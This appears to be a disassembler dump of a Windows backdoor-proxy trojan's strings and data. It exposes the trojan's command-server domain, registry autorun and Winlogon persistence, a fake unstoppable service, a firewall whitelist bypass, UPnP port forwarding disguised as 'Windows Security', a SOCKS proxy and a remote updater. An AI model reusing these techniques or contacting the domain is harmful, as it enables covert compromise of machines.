aExitthread db 'ExitThread',0 ; DATA XREF: sub_4060BC+9Co
; sub_44703D+9Co
aLoadlibrarya db 'LoadLibraryA',0 ; DATA XREF: sub_4060BC+8Bo
; sub_44703D+8Bo
aKernel32_dll db 'kernel32.dll',0 ; DATA XREF: sub_4060BC+75o
; sub_44703D+75o
aVirtualallocex db 'VirtualAllocEx() ok',0Ah,0 ; DATA XREF: sub_4060BC+31o
; sub_44703D+31o
aSedebugprivile db 'SeDebugPrivilege',0 ; DATA XREF: sub_406042+Ao
; sub_446FC3+Ao
aDllNotExtracte db 'DLL not extracted.',0Ah,0 ; DATA XREF: sub_405EFE:loc_406031o
; sub_446E7F:loc_446FB2o
aDllOkS db 'DLL ok: <%s>',0Ah,0 ; DATA XREF: sub_405EFE+118o
; sub_446E7F+118o
aTryingDllS db 'trying DLL: <%s>',0Ah,0 ; DATA XREF: sub_405EFE+F8o
; sub_446E7F+F8o
aDllFoundS db ' DLL found: <%s>',0Ah,0 ; DATA XREF: sub_405EFE+ADo
; sub_446E7F+ADo
aCheckingDllS db 'checking DLL: <%s>',0Ah,0 ; DATA XREF: sub_405EFE+8Do
; sub_446E7F+8Do
a000_tmp db '000.tmp',0 ; DATA XREF: sub_405EFE+77o
; sub_446E7F+77o
aNts_ db 'nts_',0 ; DATA XREF: sub_405EFE+66o
; sub_405EFE+E1o ...
aOldDllS db 'old DLL: <%s>',0Ah,0 ; DATA XREF: sub_405EFE+36o
; sub_446E7F+36o
aR db 'r',0 ; DATA XREF: sub_405EFE+16o
; sub_446E7F+16o
aFileSWrittenWs db 'file <%s> written, wsz=%i',0Ah,0 ; DATA XREF: sub_405DF3+E1o
; sub_446D74+E1o
aFileSCreated db 'file <%s> created',0Ah,0 ; DATA XREF: sub_405DF3+B5o
; sub_446D74+B5o
aFileSNotCreate db 'file <%s> NOT created',0Ah,0 ; DATA XREF: sub_405DF3+A4o
; sub_446D74+A4o
aWb db 'wb+',0 ; DATA XREF: sub_405DF3+90o
; sub_446D74+90o
aResourceHereSi db 'resource here, size: %i',0Ah,0 ; DATA XREF: sub_405DF3+50o
; sub_446D74+50o
a8001 db '#8001',0 ; DATA XREF: sub_405DF3+2Ao
; sub_446D74+2Ao
aDlltestliste_2 db 'DLLTestListenThread: done...',0Ah,0 ; DATA XREF: sub_405CF6:loc_405DABo
; DMN1:loc_446D2Co
aDlltestliste_1 db 'DLLTestListenThread: accepting...',0Ah,0 ; DATA XREF: sub_405CF6+52o
; DMN1:00446CC9o
aDlltestliste_0 db 'DLLTestListenThread: listening...',0Ah,0 ; DATA XREF: sub_405CF6+37o
; DMN1:00446CAEo
aDlltestlistent db 'DLLTestListenThread: binding...',0Ah,0 ; DATA XREF: sub_405CF6+10o
; DMN1:00446C87o
aDlltestthreadP db 'DLLTestThread: pulsing...',0Ah,0 ; DATA XREF: sub_405C80+54o
; DMN1:00446C55o
asc_40E58D db '**',0 ; DATA XREF: sub_405BE3+5Fo
; sub_4066F1+317o ...
aServicefixerth db 'ServiceFixerThread started.',0Ah,0 ; DATA XREF: sub_405BE3+2o
; DMN1:00446B66o
asc_40E5AD db '" ',0 ; DATA XREF: sub_405B2A+46o
; sub_446AAB+46o
aRegisterservic db 'RegisterServiceCtrlHandler() failed %-(',0Ah,0
; DATA XREF: DMN0:loc_405ABBo
; DMN1:loc_446A3Co
aSetservicest_1 db 'SetServiceStatus(): stopped',0Ah,0 ; DATA XREF: DMN0:00405A9Do
; DMN1:00446A1Eo
aSetservicest_0 db 'SetServiceStatus(): running',0Ah,0 ; DATA XREF: DMN0:00405A72o
; DMN1:004469F3o
aSetservicestat db 'SetServiceStatus(): start pending',0Ah,0 ; DATA XREF: DMN0:00405A4Co
; DMN1:004469CDo
aServicectrldis db 'ServiceCtrlDispatcher()',0Ah,0 ; DATA XREF: DMN0:loc_4059DBo
; DMN1:0044695Co
aWaitingForStop db 'WAITING FOR STOP EVENT!',0Ah,0 ; DATA XREF: sub_405870+ACo
; sub_4467F1+ACo
aEventCreatonEr db 'EVENT CREATON ERROR: %i',0Ah,0 ; DATA XREF: sub_405870+71o
; sub_4467F1+71o
aEventCreated_ db 'EVENT CREATED.',0Ah,0 ; DATA XREF: sub_405870+5Do
; sub_4467F1+5Do
aWritingToHkcuA db 'writing to HKCU/autorun key...',0Ah,0 ; DATA XREF: sub_405774+4Fo
; sub_4466F5+4Fo
aSoftwareMicr_1 db 'Software\Microsoft\Windows\CurrentVersion\Run',0
; DATA XREF: sub_405774+3Do
; sub_405774+66o ...
aWritingToHklmA db 'writing to HKLM/autorun key...',0Ah,0 ; DATA XREF: sub_405774+26o
; sub_4466F5+26o
asc_40E6FF db '*',0 ; DATA XREF: sub_405774+Fo
; sub_4466F5+Fo
aLoad db 'load',0 ; DATA XREF: sub_4056B3+15o
; sub_4056B3+40o ...
aSoftwareMicr_0 db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows',0
; DATA XREF: sub_4056B3+1Ao
; sub_4056B3+45o ...
asc_40E73B db ',',0 ; DATA XREF: sub_4055DB+A1o
; sub_44655C+A1o
aUserinit db 'Userinit',0 ; DATA XREF: sub_4055DB+15o
; sub_4055DB+40o ...
aSoftwareMicros db 'SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon',0
; DATA XREF: sub_4055DB+1Ao
; sub_4055DB+45o ...
aStartupprogram db 'StartupPrograms',0 ; DATA XREF: sub_405545+14o
; sub_405545+3Bo ...
aSystemCurren_1 db 'System\CurrentControlSet\Control\Terminal Server\Wds\rdpwd',0
; DATA XREF: sub_405545+19o
; sub_405545+40o ...
aRegreadCanTRea db 'RegRead(): can',27h,'t read key %s',0Ah,0 ; DATA XREF: sub_4053DF+A2o
; sub_446360+A2o
aRegreadReadIBy db 'RegRead(): read %i bytes from %s (%s)',0Ah,0 ; DATA XREF: sub_4053DF+8Eo
; sub_446360+8Eo
aRegreadOpenedS db 'RegRead(): opened %s',0Ah,0 ; DATA XREF: sub_4053DF+44o
; sub_446360+44o
a6ea9b038C801_0 db '{6EA9B038-C801-4F76-805F-E41ACF9ED164}',0 ; DATA XREF: DMN0:00405303o
; sub_405870+44o ...
aDescription db 'Description',0 ; DATA XREF: sub_405187+13Ao
; sub_446108+13Ao
aDisplayname db 'DisplayName',0 ; DATA XREF: sub_405187+116o
; sub_446108+116o
aLocalsystem db 'LocalSystem',0 ; DATA XREF: sub_405187+E9o
; sub_446108+E9o
aObjectname db 'ObjectName',0 ; DATA XREF: sub_405187+F2o
; sub_446108+F2o
aErrorcontrol db 'ErrorControl',0 ; DATA XREF: sub_405187+BDo
; sub_405187+D9o ...
aStart db 'Start',0 ; DATA XREF: sub_405187+A1o
; sub_446108+A1o
aType db 'Type',0 ; DATA XREF: sub_405187+82o
; sub_446108+82o
aImagepath db 'ImagePath',0 ; DATA XREF: sub_4050B1+87o
; sub_405187+15Eo ...
aSystemCurren_0 db 'SYSTEM\CurrentControlSet\Services\',0 ; DATA XREF: sub_4050B1+Bo
; sub_405187+Ao ...
aProvidesHardwa db 'Provides hardware-to-software binary network translation support '
; DATA XREF: sub_404F2A+9Bo
; sub_405187+124o ...
db 'for network protocols. This service can not be stopped.',0
aServiceRegiste db 'service registered',0Ah,0 ; DATA XREF: sub_404F2A:loc_404FB2o
; sub_445EAB:loc_445F33o
aNetworkTransla db 'Network Translation Service',0 ; DATA XREF: sub_404F2A+42o
; sub_405187+100o ...
aStartingCommTh db 'starting COMM thread...',0Ah,0 ; DATA XREF: sub_404967+17Ao
; DMN1:00445A62o
aNatpmpForwarde db 'NATPMP: forwarded to: %i',0Ah,0 ; DATA XREF: sub_404967+13Bo
; DMN1:00445A23o
aSocksPortI db 'SOCKS port: %i',0Ah,0 ; DATA XREF: sub_404967+DFo
; DMN1:004459C7o
aCanTBindListen db 'can',27h,'t bind listen socket!',0Ah,0
aListener___ db 'listener...',0Ah,0 ; DATA XREF: sub_404967+14o
; DMN1:004458FCo
aConnectionClos db 'connection closed.',0Ah,0 ; DATA XREF: sub_4042CD:loc_40493Ao
; DMN1:loc_4458BBo
aDataExchangeCo db 'data exchange complete',0Ah,0 ; DATA XREF: sub_4042CD:loc_40492Fo
; DMN1:loc_4458B0o
aTransferringDa db 'transferring data...',0Ah,0 ; DATA XREF: sub_4042CD+558o
; DMN1:004457A6o
aConnectedToSI db 'connected to %s:%i',0Ah,0 ; DATA XREF: sub_4042CD+522o
; DMN1:00445770o
aConnectionToSI db 'connection to %s:%i failed! %-( (%i)',0Ah,0 ; DATA XREF: sub_4042CD+4E1o
; DMN1:0044572Fo
aConnectingToSI db 'connecting to %s:%i',0Ah,0 ; DATA XREF: sub_4042CD+4A3o
; DMN1:004456F1o
aSocksVIS db 'socks v%i [%s]',0Ah,0 ; DATA XREF: sub_4042CD+119o
; DMN1:00445367o
aConnectionReje db 'connection rejected (from [%s])',0Ah,0 ; DATA XREF: sub_4042CD+D8o
; DMN1:00445326o
aConnectionFrom db 'connection from [%s]',0Ah,0 ; DATA XREF: sub_4042CD+62o
; DMN1:004452B0o
a_win32__nts_um db '_win32__nts_um__',0 ; DATA XREF: sub_40410E+10o
; sub_44508F+10o
aSystem db 'SYSTEM',0 ; DATA XREF: sub_4040C3+31o
; sub_445044+31o
asc_40EAC3 db 0Dh,' ',0Dh,0 ; DATA XREF: sub_40400E+90o
; DMN1:0044501Fo
aISecondsLeft_ db 0Dh,'%i seconds left ',8,8,8,'.',0 ; DATA XREF: sub_40400E+67o
; DMN1:00444FF6o
aSrvWaitingISec db 'Srv: waiting %i seconds...',0Ah,0 ; DATA XREF: sub_40400E+56o
; DMN1:00444FE5o
aSrvcommthreadD db 'SrvCommThread: done',0Ah,0 ; DATA XREF: sub_403C3F:loc_403FD3o
; DMN1:loc_444F54o
; =============== S U B R O U T I N E =======================================
sub_40EB25 proc near ; DATA XREF: sub_403C3F+351o
; DMN1:00444F11o
; FUNCTION CHUNK AT 0040EBA0 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0040EC0A SIZE 00000008 BYTES
push ebx
push edx
push esi
cmp ah, [eax]
jnb short loc_40EBA0
popa
jb short loc_40EBA3
imul ebp, [esi+67h], 64707520h
popa
jz short sub_40EB9E
jb short near ptr aSrvAckReject_0 ; "SRV: ACK rejected IPs failed\n"
db 2Eh
or al, cs:[eax]
sub_40EB25 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_40EB3F proc near ; DATA XREF: sub_403C3F+2F5o
; DMN1:00444EB5o
push ebx
push edx
push esi
cmp ah, [eax]
push ebp
push eax
inc edi
push edx
inc ecx
inc esp
inc ebp
and ds:0A3E73h, bh
sub_40EB3F endp ; sp-analysis failed
; ---------------------------------------------------------------------------
word_40EB52 dw 5253h ; DATA XREF: sub_403C3F:loc_403EF0o
; DMN1:loc_444E71o
dd 49203A56h, 53494C50h
db 54h, 0Ah, 0
byte_40EB5F db 53h ; DATA XREF: sub_403C3F:loc_403EE0o
; DMN1:loc_444E61o
dd 203A5652h, 0A455942h
db 0
aSrvAckReject_0 db 'SRV: ACK rejected IPs failed',0Ah,0 ; CODE XREF: sub_40EB25+14j
; DATA XREF: sub_403C3F+252o ...
aSrvAckRejected db 'SRV: ACK rejected IPs',0Ah,0 ; DATA XREF: sub_403C3F+239o
; DMN1:00444DF9o
; =============== S U B R O U T I N E =======================================
sub_40EB9E proc near ; CODE XREF: sub_40EB25+12j
; DATA XREF: sub_403C3F+220o ...
push ebx
push edx
sub_40EB9E endp ; sp-analysis failed
; START OF FUNCTION CHUNK FOR sub_40EB25
loc_40EBA0: ; CODE XREF: sub_40EB25+5j
push esi
cmp ah, [eax]
loc_40EBA3: ; CODE XREF: sub_40EB25+8j
jnb short loc_40EC0A
; END OF FUNCTION CHUNK FOR sub_40EB25
outsb
imul ebp, fs:[esi+67h], 6A657220h
arpl gs:[ebp+64h], si
and [ecx+50h], cl
jnb short near ptr aSrvSendingReje+18h
popaw
; ---------------------------------------------------------------------------
dw 6C69h
dd 0A6465h
aSrvSendingReje db '* SRV: sending rejected IPs',0Ah,0 ; DATA XREF: sub_403C3F+1B5o
; DMN1:00444D75o
aSrvAckHandshac db 'SRV: ACK handshacking failed',0Ah,0 ; DATA XREF: sub_403C3F+19Bo
; DMN1:00444D5Bo
byte_40EBFB db 53h ; DATA XREF: sub_403C3F:loc_403DC1o
; DMN1:loc_444D42o
dd 203A5652h, 204B4341h, 646E6168h
db 73h, 68h
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_40EB25
loc_40EC0A: ; CODE XREF: sub_40EB25:loc_40EBA3j
popa
arpl [ebx+69h], bp
outsb
or al, [bx+si]
; END OF FUNCTION CHUNK FOR sub_40EB25
; ---------------------------------------------------------------------------
aSrvHandshaking db 'SRV: handshaking failed.',0Ah,0 ; DATA XREF: sub_403C3F+172o
; DMN1:00444D32o
aSrvRip?I db 'SRV: rip? %i',0Ah,0 ; DATA XREF: sub_403C3F+141o
; DMN1:00444D01o
aSrvHandshaki_0 db 'SRV: handshaking...',0Ah,0 ; DATA XREF: sub_403C3F:loc_403D68o
; DMN1:loc_444CE9o
aSrvConnectingF db 'SRV: connecting failed.',0Ah,0 ; DATA XREF: sub_403C3F+119o
; DMN1:00444CD9o
aSrvConnecting_ db 'SRV: connecting...',0Ah,0 ; DATA XREF: sub_403C3F+F7o
; DMN1:00444CB7o
aSrvSI db 'SRV: [%s:%i]',0Ah,0 ; DATA XREF: sub_403C3F+CBo
; DMN1:00444C8Bo
aMyPortI db 'my port [%i]',0Ah,0 ; DATA XREF: sub_403C3F+A8o
; DMN1:00444C68o
aDep_mvl0an7_co db 'dep.mvl0an7.com',0 ; DATA XREF: sub_403C3F+2Bo
; DMN1:00444BEBo
aAuthorizedIpIS db 'authorized IP #%i [%s]',0Ah,0 ; DATA XREF: sub_403B86+5Fo
; sub_444B07+5Fo
aRunningSS___ db 'running %s (%s)...',0Dh,0Ah,0 ; DATA XREF: sub_40399A+14Fo
; DMN1:00444A6Ao
asc_40ECD5 db '" "',0 ; DATA XREF: sub_40399A+10Co
; DMN1:00444A27o
aUpdate db '*update "',0 ; DATA XREF: sub_40399A+E4o
; DMN1:004449FFo
aMsssx db 'msssx',0 ; DATA XREF: sub_40399A+A2o
; DMN1:004449BDo
aDownloadedToS db 'downloaded to: <%s>',0Ah,0 ; DATA XREF: sub_40399A+7Bo
; DMN1:00444996o
aMsss db 'msss',0 ; DATA XREF: sub_40399A+4Bo
; DMN1:00444966o
aUpdateUrlS db 'UPDATE URL: <%s>',0Ah,0 ; DATA XREF: sub_40399A+24o
; DMN1:0044493Fo
aDownloadedSS db 'downloaded [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+14Bo
; sub_4447B9+14Bo
aDownloadedFail db 'downloaded failed: [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+12Bo
; sub_4447B9+12Bo
aDownloadingSS db 'downloading [%s] --> %s',0Dh,0Ah,0 ; DATA XREF: sub_403838+AEo
; sub_4447B9+AEo
aFopenS___ db 'fopen(%s)...',0Ah,0 ; DATA XREF: sub_403838+87o
; sub_4447B9+87o
aWb_0 db 'wb',0 ; DATA XREF: sub_403838:loc_4038A7o
; sub_4447B9:loc_444828o
aInternetopenur db 'InternetOpenUrl(): %i',0Ah,0 ; DATA XREF: sub_403838+51o
; sub_4447B9+51o
aInternetopenI db 'InternetOpen(): %i',0Ah,0 ; DATA XREF: sub_403838+22o
; sub_4447B9+22o
aMsdownloader db 'msdownloader',0 ; DATA XREF: sub_403838+14o
; sub_4447B9+14o
asc_40EDB2 db ' ',0 ; DATA XREF: sub_403723+98o
; DMN0:00404C4Ao ...
aCWindowsNts_ex db 'C:\WINDOWS\nts.exe',0 ; DATA XREF: sub_403723:loc_40378Bo
; DMN0:loc_404C1Ao ...
asc_40EDC7 db '"',0 ; DATA XREF: sub_403723+33o
; sub_403723+7Fo ...
a_win32__nts_sm db '_win32__nts_sm__',0 ; DATA XREF: DMN0:004036B2o
; sub_4036F6+4o ...
a__win32__nts_s db '__win32__nts_sdm__',0 ; DATA XREF: sub_403604+10o
; sub_403658+4o ...
aNatPmpReques_1 db 'NAT-PMP request #%i - port: [%i]',0Ah,0 ; DATA XREF: sub_403322+208o
; sub_4442A3+208o
aNatPmpFwdReque db 'NAT-PMP fwd request #%i - ok',0Ah,0 ; DATA XREF: sub_403322+1BCo
; sub_4442A3+1BCo
aReceivingNat_0 db 'receiving NAT-PMP fwd request #%i...',0Ah,0 ; DATA XREF: sub_403322+171o
; sub_4442A3+171o
aSetsockoptNa_0 db 'setsockopt NAT-PMP fwd request #%i...',0Ah,0
; DATA XREF: sub_403322+13Ao
; sub_4442A3+13Ao
aSendingNatPmpF db 'sending NAT-PMP fwd request #%i...',0Ah,0 ; DATA XREF: sub_403322+C5o
; sub_4442A3+C5o
aRouterIpS db 'router ip: [%s]',0Ah,0 ; DATA XREF: sub_403322+49o
; sub_4442A3+49o
aNatPmpReques_0 db 'NAT-PMP request #%i - public IP: [%s]',0Ah,0
; DATA XREF: sub_403113+1D5o
; sub_444094+1D5o
aNatPmpRequestI db 'NAT-PMP request #%i - ok',0Ah,0 ; DATA XREF: sub_403113+192o
; sub_444094+192o
aReceivingNatPm db 'receiving NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+14Ao
; sub_444094+14Ao
aSetsockoptNatP db 'setsockopt NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+113o
; sub_444094+113o
aSendingNatPmpR db 'sending NAT-PMP request #%i...',0Ah,0 ; DATA XREF: sub_403113+D6o
; sub_444094+D6o
aDefaultGateway db 'default gateway: [%s]',0Ah,0 ; DATA XREF: sub_403113+62o
; sub_444094+62o
aIupnpDiscove_4 db 'IUPnP discovery request #%i: ok.',0Ah,0 ; DATA XREF: sub_402B02+55Do
; sub_443A83+55Do
aControlurl db '<controlURL>',0 ; DATA XREF: sub_402B02:loc_402EFCo
; sub_443A83:loc_443E7Do
aService db '</service>',0 ; DATA XREF: sub_402B02:loc_402ECFo
; sub_443A83:loc_443E50o
aService_0 db '<service>',0 ; DATA XREF: sub_402B02:loc_402E9Bo
; sub_443A83:loc_443E1Co
aUrnSchemasUpnp db 'urn:schemas-upnp-org:service:WANIPConnection:1',0
; DATA XREF: sub_402B02:loc_402E62o
; sub_443A83:loc_443DE3o
aIupnpDiscove_3 db 'IUPnP discovery request #%i: bad (3)...',0Ah,0
; DATA XREF: sub_402B02+34Fo
; sub_443A83+34Fo
aLocationS db 'location: <%s>',0Ah,0 ; DATA XREF: sub_402B02+316o
; sub_443A83+316o
aIupnpDiscove_2 db 'IUPnP discovery request #%i: bad (2)...',0Ah,0
; DATA XREF: sub_402B02+2F5o
; sub_443A83+2F5o
aIupnpDiscove_1 db 'IUPnP discovery request #%i: bad (1)...',0Ah,0
; DATA XREF: sub_402B02+27Do
; sub_443A83+27Do
aLocation db 'location',0 ; DATA XREF: sub_402B02:loc_402D60o
; sub_443A83:loc_443CE1o
aIupnpDiscove_0 db 'IUPnP discovery request #%i: bad (0)...',0Ah,0
; DATA XREF: sub_402B02+24Do
; sub_443A83+24Do
aSchemasUpnpOrg db 'schemas-upnp-org:service:WANIPConnection:1',0
; DATA XREF: sub_402B02+230o
; sub_443A83+230o
aIupnpDiscovery db 'IUPnP discovery request #%i -- checking...',0Ah,0
; DATA XREF: sub_402B02+224o
; sub_443A83+224o
aReceivingIupnp db 'receiving IUPnP discovery request #%i...',0Ah,0
; DATA XREF: sub_402B02+1ACo
; sub_443A83+1ACo
aSetsockoptIupn db 'setsockopt IUPnP discovery request #%i...',0Ah,0
; DATA XREF: sub_402B02+164o
; sub_443A83+164o
aMSearchHttp1_1 db 'M-SEARCH * HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402B02+11Fo
; sub_402B02+136o ...
db 'Host: 239.255.255.250:1900',0Dh,0Ah
db 'ST: upnp:rootdevice',0Dh,0Ah
db 'Man: "ssdp:discover"',0Dh,0Ah
db 'MX: 3',0Dh,0Ah
db 0Dh,0Ah,0
aSendingIupnpDi db 'sending IUPnP discovery request #%i...',0Ah,0
; DATA XREF: sub_402B02+113o
; sub_443A83+113o
aXbind___ db 'xbind...',0Ah,0 ; DATA XREF: sub_402B02+F3o
; sub_443A83+F3o
aShit db 'shit!',0Ah,0 ; DATA XREF: sub_402B02+BFo
; sub_443A83+BFo
a239_255_255_25 db '239.255.255.250',0 ; DATA XREF: sub_402B02+45o
; sub_402B02+92o ...
aHttpAddmapRe_1 db 'HTTP AddMap request [%s:%i]: code: %i...',0Ah,0
; DATA XREF: sub_402896+235o
; sub_443817+235o
aHttpAddmapRe_0 db 'HTTP AddMap request [%s:%i]: received: %i...',0Ah,0
; DATA XREF: sub_402896+196o
; sub_443817+196o
aHttpAddmapRequ db 'HTTP AddMap request: [%s:%i]...',0Ah,0 ; DATA XREF: sub_402896+B0o
; sub_443817+B0o
aPostSHttp1_1Ho db 'POST %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402896+7Fo
; sub_443817+7Fo
db 'HOST: %s:%i',0Dh,0Ah
db 'CONTENT-LENGTH: %i',0Dh,0Ah
db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah
db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo'
db 'rtMapping"',0Dh,0Ah
db 0Dh,0Ah,0
aMPostSHttp1_1H db 'M-POST %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_402896+58o
; sub_443817+58o
db 'HOST: %s:%i',0Dh,0Ah
db 'CONTENT-LENGTH: %i',0Dh,0Ah
db 'CONTENT-TYPE: text/xml; charset="utf-8"',0Dh,0Ah
db 'SOAPACTION: "urn:schemas-upnp-org:service:WANIPConnection:1#AddPo'
db 'rtMapping"',0Dh,0Ah
db 0Dh,0Ah,0
aSEnvelopeXmlns db '<s:Envelope',0Dh,0Ah ; DATA XREF: sub_402896+1Ao
; sub_443817+1Ao
db 'xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"',0Dh,0Ah
db 's:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">',0Dh,0Ah
db '<s:Body>',0Dh,0Ah
db '<u:AddPortMapping',0Dh,0Ah
db 'xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1">',0Dh,0Ah
db '<NewRemoteHost></NewRemoteHost>',0Dh,0Ah
db '<NewExternalPort>%i</NewExternalPort>',0Dh,0Ah
db '<NewProtocol>TCP</NewProtocol>',0Dh,0Ah
db '<NewInternalPort>%i</NewInternalPort>',0Dh,0Ah
db '<NewEnabled>1</NewEnabled>',0Dh,0Ah
db '<NewPortMappingDescription>Windows Security</NewPortMappingDescri'
db 'ption>',0Dh,0Ah
db '<NewLeaseDuration>0</NewLeaseDuration>',0Dh,0Ah
db '</u:AddPortMapping>',0Dh,0Ah
db '</s:Body>',0Dh,0Ah
db '</s:Envelope>',0
a200 db '200',0 ; DATA XREF: sub_4025A9:loc_402838o
; sub_44352A:loc_4437B9o
asc_40F5F0 db 0Ah,0 ; DATA XREF: sub_4025A9:loc_402809o
; sub_402896:loc_402A56o ...
aHttpDiscover_0 db 'HTTP discovery request [%s:%i]: received: %i...',0Ah,0
; DATA XREF: sub_4025A9+234o
; sub_44352A+234o
aGetSHttp1_1Hos db 'GET %s HTTP/1.1',0Dh,0Ah ; DATA XREF: sub_4025A9+173o
; sub_44352A+173o
db 'HOST: %s:%i',0Dh,0Ah
db 'ACCEPT-LANGUAGE: en',0Dh,0Ah
db 0Dh,0Ah,0
aHttpDiscoveryR db 'HTTP discovery request: [%s:%i]...',0Ah,0 ; DATA XREF: sub_4025A9+10Ao
; sub_44352A+10Ao
aHttp db 'http://',0 ; DATA XREF: sub_4025A9+25o
; sub_402B02+4A1o ...
a_ db '.',0 ; DATA XREF: sub_402562:loc_402584o
; sub_4434E3:loc_443505o
a6ea9b038C8014f db '{6EA9B038-C801-4F76-805F-E41ACF9ED165}',0 ; DATA XREF: sub_4023DC+7o
; sub_402449+5o ...
aSystemCurrentc db 'SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\Firewal'
; DATA XREF: sub_402296+8Eo
; DMN0:00402373o ...
db 'lPolicy\StandardProfile\AuthorizedApplications\List',0
aNts db 'NTS',0 ; DATA XREF: sub_402296+6Do
; sub_404CB8+19o ...
aEnabled db ':*:Enabled:',0 ; DATA XREF: sub_402296+5Ao
; sub_4057FF+28o ...
aHandshakeBadVe db 'Handshake: bad version (%i)',0Ah,0 ; DATA XREF: DMN0:00401E88o
; DMN1:00442E09o
aHandshakeBadPa db 'Handshake: bad packed (%i)',0Ah,0 ; DATA XREF: DMN0:00401E68o
; sub_408240+91r ...
aHandshakeRecvE db 'Handshake: recv() error',0Ah,0 ; DATA XREF: DMN0:00401E53o
; DMN1:00442DD4o
aProtorecvDataS db 'protorecv(): data size: %i (of %i)',0Ah,0 ; DATA XREF: sub_401BAC+12Do
; sub_442B2D+12Do ...
aPktrecvPacketi db 'PktRecv(): packetId: 0x%03x',0Ah,0 ; DATA XREF: sub_401BAC+DEo
; sub_442B2D+DEo
aPktrecvInvalid db 'PktRecv(): invalid signature (%i)',0Ah,0 ; DATA XREF: sub_401BAC+86o
; sub_442B2D+86o
aPktsendIIBytes db 'PktSend(%i): %i bytes',0Ah,0 ; DATA XREF: sub_401ADA+68o
; sub_442A5B+68o
aSIsS db '%s is %s',0Ah,0 ; DATA XREF: DMN0:004018A6o
; DMN1:00442827o
aWinsock2_xInit db 'WinSock 2.x initialized.',0Ah,0 ; DATA XREF: sub_4012EC:loc_40133Co
; sub_44226D:loc_4422BDo ...
aWinsock1_1Init db 'WinSock 1.1 initialized.',0Ah,0 ; DATA XREF: sub_4012EC:loc_40132Fo
; sub_44226D:loc_4422B0o
aA db 'a',0 ; DATA XREF: DMN0:004011E9o
; DMN1:0044216Ao
aPm db 'PM',0 ; DATA XREF: DMN0:loc_401190o
; DMN1:loc_442111o
aAm db 'AM',0 ; DATA XREF: DMN0:00401189o
; DMN1:0044210Ao
a02i02i02iIIIS db '%02i/%02i/%02i %i:%i:%i%s',0 ; DATA XREF: DMN0:004011C4o
; DMN1:00442145o ...
aS_0 db '%s',0 ; DATA XREF: DMN0:0040112Bo
; DMN0:00401147o ...
align 4
dword_40F864 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4070F0+5o
; sub_448071+5o
dd offset sub_40715A
dword_40F870 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_407300+5o
; sub_448281+5o
dd offset sub_40735B
dword_40F87C dd 0FFFFFFFFh, 0 ; DATA XREF: sub_407400+5o
; sub_448381+5o
dd offset sub_40745E
dword_40F888 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_407560+5o
; sub_4484E1+5o
dd offset sub_4075AD
dword_40F894 dd 0FFFFFFFFh, 4078C8h, 4078E3h ; DATA XREF: sub_407870+5o
; DMN1:004487F6o
dword_40F8A0 dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4079E0+5o
; sub_448961+5o
dd offset sub_407A5D
dword_40F8AC dd 0FFFFFFFFh, 407B85h, 407BA0h, 4000h ; DATA XREF: sub_407AA0+5o
; DMN1:00448A26o
dword_40F8BC dd 0FFFFFFFFh, 0 ; DATA XREF: sub_4081A0+5o
; sub_449121+5o
dd offset sub_4081FE
dd offset loc_40832C
dd offset loc_4082E2
dd offset loc_408312
dd offset loc_408312
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
off_40F8EC dd offset loc_40831F ; DATA XREF: sub_408240+2Er
; sub_4491C1+2Er
dd offset loc_4082E2
dd offset loc_4082F2
dd offset loc_4082F2
dd offset loc_408360
dd offset loc_408312
dd offset loc_408339
dd offset loc_408302
dd offset loc_408302
dd offset loc_408302
dd offset loc_4082E2
dd offset loc_408353
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082F2
dd offset loc_408312
dd offset loc_408387
dd offset loc_4082F2
dd offset loc_408312
dd offset loc_408312
dd offset loc_408312
dd offset loc_408312
dd offset loc_408312
dd offset loc_408312
dd offset loc_408312
dd offset loc_408312
dd offset loc_408312
dd offset loc_408312
dd offset loc_408312
dd offset loc_408312
dd offset loc_408312
dd offset loc_408312
dd offset loc_408312
dd offset loc_408312
dd offset loc_4082E2
dd offset loc_408312
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082F2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_408312
dd offset loc_4082E2
dd offset loc_4082F2
dd offset loc_408312
dd offset loc_40837A
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_40836D
dd offset loc_4082E2
dd offset loc_408339
dd offset loc_408346
dd offset loc_408346
dd offset loc_408339
dd offset loc_4082E2
dd offset loc_408312
dd offset loc_40832C
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_4082E2
dd offset loc_408353
dd offset loc_408353
dd offset loc_408353
dd offset loc_408353
dd offset loc_408353
dd offset loc_408353
dd offset loc_408353
dd offset loc_408353
dd offset loc_408353
dd offset loc_408353
dd offset loc_408353
